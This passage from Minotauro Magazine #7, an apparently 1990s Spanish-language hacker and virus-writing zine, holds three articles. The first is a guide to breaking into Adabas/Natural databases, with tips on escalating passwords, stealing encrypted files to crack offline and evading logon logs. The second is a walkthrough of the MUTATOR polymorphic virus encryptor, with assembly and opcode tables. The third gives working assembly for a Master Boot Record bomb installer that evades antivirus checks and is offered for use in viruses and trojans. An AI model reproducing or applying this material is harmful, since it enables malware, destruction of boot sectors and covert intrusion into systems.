instala el software. Estos niveles de seguridad (entre 0 y 14) est†n asociados 
con el password de cada usuario. Cada password puede tener diferentes niveles 
para lectura y para escritura. Si conseguiste un password y queres ver los 
derechos que tiene este password tipe†:

ADASCR PFILES PW = password

De la misma forma, tambiÇn los archivos o campos de un archivo pueden tener 
diferentes niveles de acceso, en un rango desde 0 (sin seguridad) hasta 14 
(la seguridad m†s alta). Si querÇs encontrar donde est†n los archivos 
sensitivos, esos que realmente te gustar°a ver que guardan informaci¢n 
confidencial, lo que tendr°as que hacer es identificar los que tienen la
seguridad mas alta. Para ver los niveles de protecci¢n de los archivos de la 
base de datos podes usar el comando:

ADASCR PFILES

Look at this ! En Adabas podes visualizar todos los passwords, lo
£nico que tenes que hacer es usar este comando:

ADASCR PPW CODE = dbacode

Eeeh ! Te la creiste eh ???. No es tan facil, dbacode es un c¢digo que el 
software le da al administrador de la base cuando instala el Adabas. Si 
conseguis uno vas a poder hacer cosas m†s que interesantes. Si querÇs cambiar 
algo en los datos almacenados en la base de datos te comento lo siguiente.
Primero que nada, los verdaderos hackers solo curiosean la informaci¢n de los 
sistemas, no la cambian...pero, es tu desici¢n. Segundo, puede ser que el DBA 
(administrador de la base de datos) haya establecido controles restringidos a 
valores. Esto quiere decir que el sistema chequea uno o mas campos de un 
registro para establecer si tenÇs acceso para leer o escribir el registro. Si
no tenÇs el nivel de acceso necesario para ese file tu acci¢n se va a registrar
en el botonazo log. Al d°a siguiente el DBA revisa el log y quedas pegado hasta
las manos. Entonces, si querÇs ver el criterio de seguridad por valor de tu
password podes usar el comando:

ADASCR PPW CODE = dbacode, PW = password

Como ya te habras dado cuenta (eso espero) podÇs combinar este comando con el
anterior para elegir un password con el nivel suficiente como para modificar 
los archivos que quieras toquetear. Si tue idea no es modificar archivos, sino 
solamente espiar un poco los archivos m†s interesantes, tenes que tener claro 
que es muy probable que los mas copados estÇn encriptados. En Adabas es muy 
f†cil encriptar archivos usando el par†metro ADAWAN y un c¢digo de 8 caractÇres
en el utilitario Compression. TambiÇn si andas con ganas de hacer guachadas le 
podes encriptar algunos archivos al pobre man, pero no seas tan turro che !! 
Si los archivos est†n encriptados, te recomiento que te copies los archivos y 
los labures en tu casa. No es recomendable tratar de adivinar el c¢digo 
directamente sobre la m†quina hackeada, acordate de los logs, cada error que 
cometas se va a registrar en el log. En cambio, con los files en tu casa podes 
probar cientos de veces sin peligro. Hay muchos textos y utilitarios que te 
pueden ayudar a adivinar el c¢digo de 8 caracteres que necesitas para 
desencriptar el archivo.

% Natural %

	Si querÇs chequear las opciones generales presiona "D" en el Men£
Principal, as° vas a llegar a los "Security Administrator Services". En esta 
pantalla, y presionando "D" llegas a "Modify General Options" que te muestra 
las opciones generales de seguridad. Podes chequear la estructura de seguridad
(grupos y miembros) presionando "D" e ingresando luego la identificaci¢n de 
usuario en el "User Maintenance Menu". As° vas a poder ver todos los grupos a 
los que pertenece este usuario, adem†s de mas informaci¢n sobre cada grupo. Si
querÇs ver la seguridad de cada aplicaci¢n tenÇs que presionar "D" y la 
identificaci¢n de aplicaci¢n en el "Application Maintenance Menu". Si querÇs 
ver un n£mero m†s grande de definiciones de seguridad de aplicaciones podes 
usar la funci¢n "MASS FUNCTION", que te va a mostrar una lista de todas las
aplicaciones que fueron definidas en la seguridad del Natural por orden 
alfabÇtico por identificaci¢n de aplicaci¢n. Para usar esta posibilidad, lo 
£nico que tenÇs que hacer es presionar "Q" en el "Application Maintenance 
Menu". Esto es muy importante, porque en Natural la seguridad de los datos 
est† asociada con la seguridad de las aplicaciones que acceden a esos archivos.
Si usas la opci¢n "Select File" (presionando "S") en el "File Maintenance Menu"
vas a ver el estado de cada archivo. Sin dudas los archivos "PRIV" van a ser 
los m†s interesantes, pero tambiÇn deber°as pegarle un vistazo a los "PUBL", 
porque en un ambiente mal controlado podÇs encontrar informaci¢n confidencial 
tambiÇn en este tipo de archivo. Todas las posibilidades que expliquÇ antes las
podes usar (aunque de solo lectura) usando "Retrieval" en el Menu Principal.
Atenci¢n, si corres una aplicaci¢n que tenga la opci¢n "LOG" en "Y", la 
seguridad del Natural va a escribir un registro en archivo de log. Yo te 
recomendar°a pegarle un vistazo a los registros de log para chequear si tus 
actividades fueron registradas. Podes verlos usando la funci¢n "Logon Records 
Processing". En el Menu Principal tenes que presionar "D" para llegar a los 
servicios del administrador de seguridad y despuÇs "L" para ver los archivos de
log. El administrador de la base puede setear un n£mero m†ximo de intentos de 
logon. Y si realizas un n£mero m†s grande de intentos que el establecido por el
DBA, el sistema va a generar un registro en el archivo de log. Siempre tendr°as
que tratar de pasar inadvertido en el sistema. Entonces, por ejemplo, si tenÇs 
un password y est†s dentro del sistema y conseguiste otra password con m†s 
nivel, pero que no es segura, yo te recomendar°a antes de empezar a probarla 
chequear cual es el n£mero m†ximo de intentos de logon que est†n permitidos. 
Si el n£mero m†ximo es seis, podes probar tu password dudosa cinco veces y no 
se van a crear registros de error en el archivo de log. Si estas en el sistema 
y querÇs ver el registro de errores de logon para ver si hay mas gente tratando
de hackear el sistema (eso puede ser peligroso porque si hay muchos hackers 
rondando por el sistema es probable que alguno se mande una cagada y todos
queden pegados), o si simplemente querÇs ver cuan pelotuda es la gente :), 
podes hacer lo siguiente. Presiona "D" en el Menu Principal para acceder a los 
servicios del Administrador de seguridad y despuÇs presiona "E" para ver los 
registros de errores de logon. Esto es importante, si nos damos cuenta que en 
el sistema este tipo de errores es cont°nuo y repetido, es una se§al clara que 
el sistema esta mal controlado y el Administrador de Sistema no le da bola a 
los archivos de log. Entonces no habr† problemas en probar un n£mero m†s grande
de logons incorrectos. Como en el Natural puede haber mas de un administrador, 
el Natural da la posibilidad de usar contrafirmas (countersignatures) para 
controlar la seguridad. En criollo esto quiere decir que para cambiar una 
definici¢n de seguridad pueden ser necesarias 0, 1, 2 o 3 confirmaciones
(countersignatures) de los otros administradores definidos. Entonces tenes que 
tener claro que si conseguis privilegios de administrador todav°a no tenÇs el 
control absoluto del sistema (si es que hay otros administradores definidos y 
fue establecido un sistema de contrafirmas). Entonces, antes de intentar hacer 
cualquier cambio, deber°as verificar si hay definidos otros administradores y 
si se han establecido contrafirmas. Te puedo asegurar que es realmente molesto
"trabajar" en una m†quina que tenga establecidas contrafirmas, pero no te 
calentes mucho porque la mayor°a de los ambientes Natural solo tienen un
administrador.
 
Espero que esta informaci¢n que fue muy £til para mi, tambien pueda ser £til 
para ustedes..

                                    Mantis King  [NO DAN] :)
Minotauro Magazine #7:
			  MUTATOR 1.0 (Segunda parte)
				Por Lapidario

LA HISTORIA CONTINUA ...

	Dediquemos ahora la atencion a formar el encriptor. Esto debemos 
realizarlo antes de generar el desencriptor, pues nos basamos en que armaremos
el mismo en funcion de que instrucciones usemos para encriptar. Como vimos 
definimos por decreto que aplicaremos las operaciones de encriptacion a BYTES.
Y como no nos interesa que sea variable siempre utilizamos los mismos registros
de puntero y contador. De las intrucciones que definimos anteriormente algunas 
nesecitaran un valor aleatorio (lo llamamos XX). De la misma manera que se hizo
con las intrucciones ppi los codigos de operacion de las instrucciones para 
encriptar y las de desencriptar iran en sendos vectores. 
Como separador usamos el valor 01.
Por default yy suponemos que es AL para llenar el vector.
Por default XX pondremos AAh.

Encriptar:                              Desencriptar:

add al,XXh ............................. sub yy,XXh
sub al,XXh ............................. add yy,XXh
xor al,XXh ............................. xor yy,XXh
ror al ................................. rol yy
rol al ................................. ror yy
inc al ................................. dec yy
dec al ................................. inc yy
not al ................................. not yy

ins_enc db 04h,0aah,01h,2ch,0aah,01h,34h,0aah,01h,0d0h,0c8h,01h,0d0h
        db 0c0h,01h,0feh,0c0h,01h,0feh,0c8h,01h,0f6h,0d0h,01h ;8 

des_enc db 02ch,0aah,01h,04h,0aah,01h,34h,0aah,01h,0d0h,0c0h,01h,0d0h 
        db 0c8h,01h,0feh,0c8h,01h,0feh,0c0h,01h,0f6h,0d0h,01h ;8 

Para variar el parametro XX, simplente cada vez que se llama a la rutina 
mutator esta llamara a la rutina cambiaxx que se encarga con simples MOV de 
adecuar estos valores segun un numero aleatorio. Luego nos ocuparemos de 
los yy. 

Bien ahora debemos saber cuantas instrucciones usamos para encriptar y cuales
de ellas. Cuantas es facil (0 a 8) ...
Cuales se usan, se eligen al azar ... (1 a 8)

De esto se encarga una subrutina llamada decoderrut, que realiza las siguientes
funciones:

La maxima cantidad de instrucciones a usar en el encriptador esta definida en 
la EQU llamada cu_ins_cod. Como vimos el balor maximo es 8.

Arma dos vectores con la siguiente forma:

VECTOR 1:

1) elemento : cantidad de instrucciones (como maximo puede ser 8)
2) elemento : 1 instruccion con la que se encriptar
3) elemento : 2 instruccion con la que se encriptar
etc ...

Por lo tanto este vector puede tener como maximo 17 Bytes. A este vector lo 
llamamos crip_code:

crip_code db 17 dup (0)

VECTOR 2:

1) elemento : cantidad de instrucciones (como maximo puede ser 8)
2) elemento : 1 instruccion con la que se desencripta
3) elemento : 2 instruccion con la que se desencripta
etc ...

Por lo tanto este vector puede tener como maximo 17 Bytes. A este vector lo 
llamamos descrip_code:

descrip_code db 17 dup (0)
 
Supongase que el primer vector contenga las siguientes instrucciones en este 
orden ...

add....not....inc....sub

El segundo debera terminar teniendo este orden para una desencripcion 
coherente ...

add....dec....not.....sub

Una descripcion por pasos de lo que realiza la subrutina decoderrut es la 
siguiente:

0) Inicializa los vectores crip_code y descrip_code con cero.
1) Genera un numero aleatorio rand0 comprendido en el rango de (0 y cu_ins_cod)
2) Alamacena el susodicho numero en crip_code y descrip_code.
3) Es rand0 igual a cero ? Si es asi termina.
4) Inicializa un bucle desde rand0 hasta cero realizando las siguientes tareas:
4.1) Genera un numero aleatorio rand2 en rango (1-8).  
4.2) Busca la instruccion numero rand2 en el vector ins_enc.
4.3) Traslada esa instruccion a el vector crip_code.
4.4) Busca la instruccion numero rand2 en el vector des_enc.
4.5) Traslada esa instruccion a el vector descrip_code.
5) Invierte las instrucciones del vector descrip_code.

Supongamos ahora que con la informacion que tenemos en el vector 2 podemos 
formar el desencriptor. Entonces damos por sentado que la copia imagen del 
virus se encuentra en las condiciones que indica el siguiente grafico.

original_ES:original_DI:..........    
                        ..........
                        desencriptor
                        y instrucciones
                        PPI.
                        ....<------------ins_counterx
                      
En el offset ins_counterx debemos poner la copia encriptada segun la rutina de
encriptacion genera. Esto lo hacemos de la siguiente manera: 
La rutina mutator posee un encriptador generico de la siguiente forma:

ge_encrip    proc near
             pusha
             push es
             push ds

;llenar 16 nop apartir del offset todosnop
;copiar tantos word como contenga [crip_code] a el offset todosnop
;fuente de word empieza en el offset crip_code + 1.

             mov cx,DS:[BX+original_cx]
             mov di,DS:[BX+original_di]
             mov ax,DS:[seg_base+BX]
             mov es,ax
             mov ax,DS:[ins_counterx+BX]
             mov si,ax
             mov ax,DS:[BX+original_ds]
             mov ds,ax
lazo897:     mov al,ds:[di] 
todosnop:    ...instrucciones.....(al comienzo 16d nop)                                
             mov ES:[si],ax
             inc di   
             inc si
             inc cs:[ins_counterx+BX]                                   
             dec cx                                       
             jnz lazo897
             pop es
             pop ds
             popa
             ret

Como obserbamos en el offset todosnop originalmente se encuentran 16 
instrucciones NOP. Estos NOP son repuestos cada vez que se llama a la rutina.
Bien si ahora trasladamos del vector1 llamado crip_code tantos bytes como 
indique el primer elemento del vector por 2 a el offset todosnop. Si ejecutamos
la rutina ge_encrip habremos trasladado el codigo original encriptado a partir
del offset ins_counterx. Solo basta calcular la longitud final del codigo 
imagen y devolverselo en cx a el programa que llamo a la mutator.

Bien, llego el momento de armar el desencriptor. Como dato tenemos el vector 
descrip_code, cuyo primer elemento nos dice cuantas instrucciones hay que 
poner. Miremos unos detalles ...
Segun cual sea el registro a utilizar la instruccion tiene 2 o 3 bytes de 
longitud. Por lo tanto formaremos otro vector con esta tabla de opcodes.
A este vector lo llamamos tabla_dat. La rutina cambiaxx tambien se encarga de
reemplazar los ffh por el valor adecuado (este valor no puede ser 01h).

tabla_dat:
db     	                0F6h,0D0h;	        not al
db                      0F6h,0D1h;		not cl
db       		0F6h,0D2h;		not dl
db       		0F6h,0D3h;		not bl
db       		0F6h,0D4h;		not ah
db       		0F6h,0D5h;		not ch
db       		0F6h,0D6h;		not dh
db   		        0F6h,0D7h;		not bh
db     		        0FEh,0C0h;		inc al
db       		0FEh,0C1h;	        inc cl
db       		0FEh,0C2h;		inc dl
db       		0FEh,0C3h;		inc bl
db                      0FEh,0C4h;		inc ah
db                      0FEh,0C5h;		inc ch
db                      0FEh,0C6h;	        inc dh
db                      0FEh,0C7h;	        inc bh
db                      0FEh,0C8h;	        dec al
db                      0FEh,0C9h;	        dec cl
db                      0FEh,0CAh;	        dec dl
db                      0FEh,0CBh;	        dec bl
db       0FEh,0CCh;				     dec ah
db       0FEh,0CDh;				     dec ch
db       0FEh,0CEh;				     dec dh
db       0FEh,0CFh;				     dec bh
db       0D0h,0C8h;				     ror al,1
db       0D0h,0C9h;				     ror cl,1
db       0D0h,0CAh;				     ror dl,1
db       0D0h,0CBh;				     ror bl,1
db       0D0h,0CCh;				     ror ah,1
db       0D0h,0CDh;				     ror ch,1
db       0D0h,0CEh;				     ror dh,1
db       0D0h,0CFh;				     ror bh,1
db       0D0h,0C0h;				     rol al,1
db       0D0h,0C1h;				     rol cl,1
db       0D0h,0C2h;				     rol dl,1
db       0D0h,0C3h;				     rol bl,1
db       0D0h,0C4h;				     rol ah,1
db       0D0h,0C5h;				     rol ch,1
db       0D0h,0C6h;				     rol dh,1
db       0D0h,0C7h;				     rol bh,1
entrada1:
db       04h,0FFh;				     add al,0ffh
db       80h,0C1h,0FFh  ;		             add cl,0ffh
db       80h,0C2h,0FFh	;			     add dl,0ffh
db       80h,0C3h,0FFh	;			     add bl,0ffh
db       80h,0C4h,0FFh	;			     add ah,0ffh
db       80h,0C5h,0FFh	;			     add ch,0ffh
db       80h,0C6h,0FFh	;			     add dh,0ffh
db       80h,0C7h,0FFh	;			     add bh,0ffh
db       2Ch,0FFh	;			     sub al,0ffh
db       80h,0E9h,0FFh	;			     sub cl,0ffh
db       80h,0EAh,0FFh	;			     sub dl,0ffh
db       80h,0EBh,0FFh	;			     sub bl,0ffh
db       80h,0ECh,0FFh	;			     sub ah,0ffh
db       80h,0EDh,0FFh	;			     sub ch,0ffh
db       80h,0EEh,0FFh	;			     sub dh,0ffh
db       80h,0EFh,0FFh	;			     sub bh,0ffh
db       34h,0FFh 	;			     xor al,0ffh
db       80h,0F1h,0FFh	;			     xor cl,0ffh
db       80h,0F2h,0FFh	;			     xor dl,0ffh
db       80h,0F3h,0FFh	;			     xor bl,0ffh
db       80h,0F4h,0FFh	;			     xor ah,0ffh
db       80h,0F5h,0FFh	;			     xor ch,0ffh
db       80h,0F6h,0FFh	;			     xor dh,0ffh
db       80h,0F7h,0FFh	;			     xor bh,0ffh


Bien en el primer byte del vector descrip_code tenemos cuantas instrucciones
efectivas conforman nuestro desencriptor. Nuestro objetivo consiste en formar
un nuevo vector llamado efect_code que poseea la siguiente estructura:
1 instruccion registro permutado
separador 01
2 instruccion registro permutado
sepadoror 01
enesima instruccion registro permutado
separador 01
La idea es generar un numero de rango 0 a 7, este sera el numero llave para 
elegir cual registro usamos y lo guardamos en keyreg. Es necesario guardarlo
pues luego lo nesesitaremos. Haremos una rutina que lea los dos bytes de el 
vector descrip_code de la instruccion x usada para desencriptar y busque en 
el vector tabla_dat el comienzo de la direccion de acierto de comparacion. De
ordinario si la instrucion x era add al,0ffh el puntero se detendra en en el 
offset que indica el comienzo de la intruccion add al, 0ffh del vector 
tabla_dat. Pues si ahora a este offset le sumamos el numero aleatorio por 3 -1
si el contenido de ese offset es distinto a f6 o fe o d0, o el numero aleatorio
por 2 en caso contrario, obtendremos el offset donde empieza la instruccion con
registro permutado.

Entonces :
Si el contenido del nuevo offset es 80h traslada 3 bytes, desde el vector 
tabla_dat a el vector efect_code, sino solo dos. Luego insertamos el separador
01. Repetimos el proceso como instrucciones contenga el vector descrip_code.
Se desprende que la longitud maxima del vector efect_code sera 3*8+8=32 bytes.
Esta tarea la realiza la rutina permutareg.

Ahora con el vector efect_code y la variable keyreg estamos en condiciones de
formar el desencriptor. Al igual que con el encriptor partimos de un codigo 
base el cual modificaremos segun la nesecidad y luego lo copiamos al comienzo
del viri imagagen.

Para el desencriptor debemos elegir cual registro usaremos para realizar el 
calculo del offset delta. Podra ser BX, DI, SI o BP. La restriccion es que si
bl o bh fue usado para formar las intrucciones con registro permutado no lo 
podremos usar. Por ese motivo guardamos el dato en keyreg. Otro cuestion es 
que segun cual registro usemos habra que tener en cuenta cual es el segmento 
base a utilizar.

Si se usa DI, SI o BX    segmento base es DS.
Si se usa BP             segmento base es SS.

Una solucion seria poner en las intrucciones de carga o descarga a o desde 
memoria (que en la rutina de desencriptacion son 2) como prefijo de segmento
a CS.

Otra forma seria que segun cual fue el registro usado hacer que mientras se 
ejecuta la rutina de desencriptacion el segmento base requerido tenga el valor
adecuado.

ejemplo se usa BP.

push ss
push cs
pop  ss
...
...
...
pop ss


se usa otro DI o DX o SI .(genericamente gg)

push gg
push cs
pop  gg
...
...
...
pop gg

Como no me gusta poner el prefijo de CS: Usaremos el segundo metodo.

NOTA: (xlsbi=x bits menos significativos)

Tambien debemos elegir cual registro usaremos como counter. Le cabe la mismas
consideraciones habladas antes, podra ser cualquiera. Mientras no concuerde con
el usado en regkey y el BX si este fue usado en el calculo del offset beta.

Supongamos que usamos el siguiente desencriptador generico:

p1:                  push gg
db         01h
p2:                  push cs
db         01h          
p3:                  pop  gg
db         01h         
p4:                  call 0000
db         01h
p5:                  pop jj
db         01h
p6:                  add jj,zzzz
db         01h
p7:                  mov counter,cccc
db         01h 
p8:                  mov yy,[jj]
db         01h   
p9:                  mov [jj],yy
db         01h
p10:                 inc jj
db         01h
p11:                 dec counter
p12:                 jnz p8
db         01h
p13:                 pop gg
db         01h

Este desencriptador lo variaremos segun corresponda teniendo en cuenta lo 
siguiente:

En keyreg tenemos: al,ah,cl,ch,bl,bh,dl,dh  0 a 7.

genero jj y lo guardo en keyjj rango 3 a 7 excluido 04.
jj; DI,SI,BP  y si keyreg <> a 3 o 7 tambien puede ser BX.

                            pop jj

jj=03 entonces bx     opcode      5B
jj=05 entonces bp     opcode      5D
jj=06 entonces si     opcode      5E 
jj=07 entonces di     opcode      5F 

Estructura del pop jj.

    0101 1(3lsbi de keyjj)

entonces la instruccion inc jj

jj=03 entonces bx     inc bx      opcode 43
jj=05 entonces bp     inc bp      opcode 45
jj=06 entonces si     inc si      opcode 46 
jj=07 entonces di     inc di      opcode 47

Estructura del inc jj 

    0100 (4lsbit de keyjj)

gg; DS o SS  si jj igual a 06 o 07 (di o si) entonces gg=ds

             push ds       opcode    1e
             pop  ds       opcode    1f

             si jj = 05 (bp)           entonces gg=ss
              
             push ss       opcode    16
             pop ss        opcode    17
    
la instruccion add jj,zzzz

add bx,zzzz           81 c3 zz zz
add bp,zzzz           81 c5 zz zz 
add si,zzzz           81 c6 zz zz
add di,zzzz           81 c7 zz zz

Estructura del add jj,zzzz

        10000001 | 1100(4lsbi de keyjj) | zz | zz

genero counter y lo guardo en keycounter  rango 0-3

keyjj = 03 (BX) keycounter no puede ser 03 (BX).

si keyreg = 00 (al) o 04 (ah) keycounter no puede ser 00 (AX)  
si keyreg = 01 (cl) o 05 (ch) keycounter no puede ser 01 (CX)  
si keyreg = 02 (dl) o 06 (dh) keycounter no puede ser 02 (DX)  
si keyreg = 03 (bl) o 07 (bh) keycounter no puede ser 03 (BX)  

keycounter =  00  ax
keycounter =  01  cx
keycounter =  02  dx
keycounter =  03  bx

entonces la instruccion dec counter

keycounter =  00  ax   dec ax         opcode 48
keycounter =  01  cx   dec cx         opcode 49
keycounter =  02  dx   dec dx         opcode 4a
keycounter =  03  bx   dec bx         opcode 4b

Estructura del dec counter:


   10001(3lsbi de key keycounter)


entonces la instruccion mov counter,cccc

keycounter =  00  ax   mov ax,cccc         opcode b8 cc cc
keycounter =  01  cx   mov cx,cccc         opcode b9 cc cc
keycounter =  02  dx   mov dx,cccc         opcode ba cc cc 
keycounter =  03  bx   mov bx,cccc         opcode bb cc cc

Estructura del mov counter,cccc

       10111(3lsbi de keycounter) | cc | cc

genero yy rango 0-7 y lo guardo en keyyy
yy no puede ser igual a keycounter o a keycounter+4.
y ademas no puede ser igual keyreg.

keyyy=00 entonces al
keyyy=01 entonces cl
keyyy=02 entonces dl
keyyy=03 entonces bl
keyyy=04 entonces ah
keyyy=05 entonces ch
keyyy=06 entonces dh
keyyy=07 entonces bh


Este numero afecta a las intrucciones mov yy,[jj] y mov [jj],yy
Hay aproximadamente a simple vista 28 convinaciones.
Veamos la estructura.

100010dw mod reg r/m

d=1     a reg.  caso mov yy,[jj] 
d=0 desde reg.  caso mov [jj],yy

w=0  byte instruccion     nuestro caso.

mod = 00 entonces r/m indica como debe entenderse r/m. nuestro caso.

r/m = 100 entonces EA (SI)+disp
r/m = 101 entonces EA (DI)+disp
r/m = 110 entonces EA (BP)+disp (1)
r/m = 111 entonces EA (BX)+disp
 
EA= direccion efectiva.
disp=desplazamiento.

Observese dos cosas.
1) la unica diferencia entre mov yy,[jj] y mov [jj],yy es un bit.
2) Como disp es siempre cero la instrucion ocupa 2 bytes ,pero
   si jj es bp ocupa 3 pues el desplazamiento 0 no se puede obviar.

Para solucionar esto podriamos poner siempre un dezplazamiento 
aleatorio y tenerlo en cuenta cuando hacemos el add jj,zzzz
Para hacer esto mod debe ser 01.
Al desplazamiento lo llamamos qq , tiene un rango (0-127)
y lo guardamos en keyqq.

Veamos como se forman los tres bytes.

mov yy,[jj]
 
10001010 | 01(3lsbi de keyyy)1(2lsbi de magia) | [keyqq]

mov [jj],yy

10001000 | 01(3lsbi de keyyy)1(2lsbi de magia) | [keyqq]

Segun sea keyjj por comparacion allamos el r/m necesario y 
armamos la instruccion.

La rutina generakey genera los valores adecuados de
keyjj,keycounter,keyyy,keyqq , teniendo en cuenta las restricciones
pertinentes en cada caso.

Con todo esto estamos en condiciones de ajustar la rutina de 
desencriptacion generica.

La rutina trasscod ajusta a la rutina de  desencriptacion generica ,
con los valores allados por la rutina generakey.

Luego iremos copiando instruccion por instruccion a la direccion 
original dada por ES:DI intercalando intrucciones PPI.
Al hacer esto memorizaremos algunos offset para luego poner
el valor adecuado.

OFFSET a memorizar.

a) donde queda p4     ; para ajustar  zzzz
b) donde queda p6     ; para ajustar  zzzz
c) donde queda p7     ; para ajustar  cccc
d) donde queda p8     ; para calcular el salto de jnz
d) donde queda p12    ;  "      "      "      "

Esto lo realiza la rutina copiar.
Una vez realizado esto llamamos a la rutina de encriptacion,y luego
calculamos la longitud final para devolverlo en cx.
 
Bien con esto terminamos la explicacion de el polimorfico.
Espero que se halla entendido.
Dudas, consultas, reportes de bug o insultos al BBS.

PLANTEANDO INQUIETUDES:

SERIA SENCILLO HACER UN PROGRAMA QUE IDENTIFIQUE SI UN DADO ARCHIVO TIENE 
UNA ALTA POSIBILIDAD DE ESTAR USANDO EL POLIMORFISMO  DE LA MUTATOR?

Bien yo digo que si, es relativamente sencillo, debido (no es condicion 
nesesaria pero si facilita el tener que desensamblar) a que tienen el fuente 
y saben cual es el desencriptor generico. Solo hay que separar trigo de la 
paja y pensar un poquito ...

SE PUEDE CALCULAR DE CUANTAS FORMAS ES POSIBLE MUTAR EL CODIGO ENCRIPTADO?

Bien yo digo que si, es mas ... afirmo que es posible con el algoritmo adecuado
desencriptar el codigo encriptado ... En esta mutacion es relativamente facil 
ya que lo unico que hay que saber es que pueden ser x de 8 instrucciones 
univocas para encriptar (8>x>0) ... asi que ... correlacionando y esas yerbas.

ES POSIBLE QUE EN UNA MUTACION TERMINE SIN ENCRIPTAR EL CODIGO?

Si puede darse el caso que la combinacion de instrucciones usadas para 
encriptar en realidad terminen NO encriptando.

ES POSIBLE DEDUCIR CUANTAS DE TODAS LAS POSIBLES CUMPLEN LA PREGUNTA ANTERIOR?

Si es posible saberlo. Si alguien quiere discutir algun punto (antivirus 
programer, GISVI, Bonsembiante, Ludwing etc etc etc ... y otros) puede hacerlo.

Lapidario [DAN]
Minotauro Magazine #7:
			   Bombas de Master Boot Record
				 Por Zarathustra

% La Teoria %

	En este articulo se explica como poner una bomba en la tabla de
particion o MBR (Master Boot Record). Este es un buen lugar ya que sobrevive
a un format... de esta manera si un virus pone una bomba en el MBR y el 
usuario lo descubre y formatea el disco (practica comun en las casas de
computacion ;-), la bomba sigue alli... de esta menera le damos la satifaccion
al usuario de volver a formatear su disco pero si su ayuda ;-)

	Primero, el MBR esta en el sector 1, lado 0, cilindro 0, los ultimos 
66 bytes contienen informacion acerca de la particion y no deven ser tocados, 
el MBR despues de ejecutarse ejecuta el boot. Una forma de poner una bomba ahi 
es remplazar el MBR por la bomba y que la bomba se encarge de ejecutar el boot 
despues. Otra forma es mover el MBR original a otro sector (como el 4) y poner 
la bomba en su lugar, esta despues de ejecutarse, lee el sector 4 y lo ejecuta.
Este metodo es muy fiable y no da ninguna alarma con el chequeador del TB,
siempre que la bomba no deje nada resindente. Tambien puede desensamblarse una
TP y agregarle la bomba en su codigo... No importa como se haga, siempre que se
reemplaze el codigo de la TP hay que dejar intactos los 66 ultimos bytes.

	Una aclaracion con respecto al inmunizador del TB, este hace un CRC 
del BOOT y no del MBR, por lo tanto no puede delatar a la bomba, y si no se 
deja codigo residente los 2 chequeos restantes tampoco detectan nada. De todos 
modos lo normal en una bomba de MBR es que solo chequee una condicion y se 
ejecute o no, sin dejar codigo residente, ademas son muy simples de eludir los 
chequeos de memoria e int 13h

% El Ejemplo %

	El programa que sigue lee el MBR en un buffer de memoria y luego copia
sobre este la bomba, y luego lo escribe en el sector 1, lado 0, cilindro 0 y
termina.. es solo un instalador y puede modificarse facilmente para usarse en
un virus, ademas de considerar las variables solo hay que remplazar los +100h
por +BP. La bomba en si, al ejecutarse resta un 1k de la cantidad total de
memoria que esta en en segmento 0 offset 413h, calcula el bloque de memoria
al que se copiara y se copia entero ahi... luego de eso, salta para continuar
ejecutandose en el nuevo bloque. Entonces lee el boot, vuelve a sumar 1k, que
habia restado de memoria y ejecuta el boot... La memoria es reservada 
unicamente para copiar la bomba a otro bloque y poder ejecutar el boot que
se tiene que cargar en la misma direccion que el MBR, y despues liberada
porque la bomba no deja nada residente, la idea es que chequee una condicion
y actue, o bootee normalmente.

	Bien, pueden usar esto en un virus o instalar la bomba con su 
instalador en un file, para que el troyano instale la bomba o incluso como 
metodo de seguridad, recuerden que el MBR es el primer programa que se 
ejecuta, o sea que tienen el control antes que el mismo DOS.

NOTA: el codigo que sigue puede optimisarse, pero de esta manera me parecio
mas claro para el principiante. Ademas con una peque§a modificacion puede
quedar residente.

.286
code    segment 
	ASSUME CS:CODE,DS:CODE,SS:CODE
        org   0h             

my_len  	equ buffer - offset newboot
long_vir  	equ newboot -  offset instalador

instalador:
        mov ax,0201h				;Leo el MBR del en buffer.
        mov cx,0001h 				;
        mov dx, 80h  				;
        lea bx, buffer+100h			;
        int 13h

        lea di, buffer+100h   			;sobreescribo boot
        lea si, newboot+100h			;con mi rutina en memoria.
        mov cx,my_len
        rep movsb

        mov ax,0301h             		;Copio la bomba al sector
        mov cx,0001h				;1 lado 0 siindro 0.
        lea bx, buffer+100h
        int 13h

fin:
        mov ah, 4ch				;Sale.
	int 21h
	

;==============================================================================
;				BOMBA
;==============================================================================
newboot:
	cli
        xor ax,ax
        mov ds,ax
        mov si,07c00h
        mov ss,ax
        mov sp,si

        mov ax, word ptr ds:[0413h]		;Decremento la cantidad de 
	dec ax					;memoria, dejando el dato
	mov word ptr ds:[0413h], ax		;en AX.
	
        mov cl,6
        shl ax,cl   		             	 ;Calculo ennuevo bloque de
						 ;memoria.

        xor di,di               	       	 ;me copio a ese bloque.
        mov es,ax
        mov cx,my_len
        rep movsb

        push es
        mov ax, offset memoria - long_vir	;Salta al nuevo
        push ax					;bloque.
        retf

memoria:
        sti
        mov ax,0201h         			;leo el boot (sector 1, 
        mov cx,0001h				;cilindro 0, lado  1), en
	xor dx, dx				;el segmento 0 offset 7c00h.
        mov es,dx				
        mov dx, 0180h
        mov bx,07c00h
        int 13h

        add word ptr ds:[0413h], 1		;Restaura la cantidad de 
						;memoria.

	push 0000				;Ejecuto el boot
	push 7c00h
	retf		

	db 'Demostracion de bombas de MBR, para Minotauro Magazine'
	db 'By Zarathustra [DAN]'

buffer:

code    ends
end	instalador
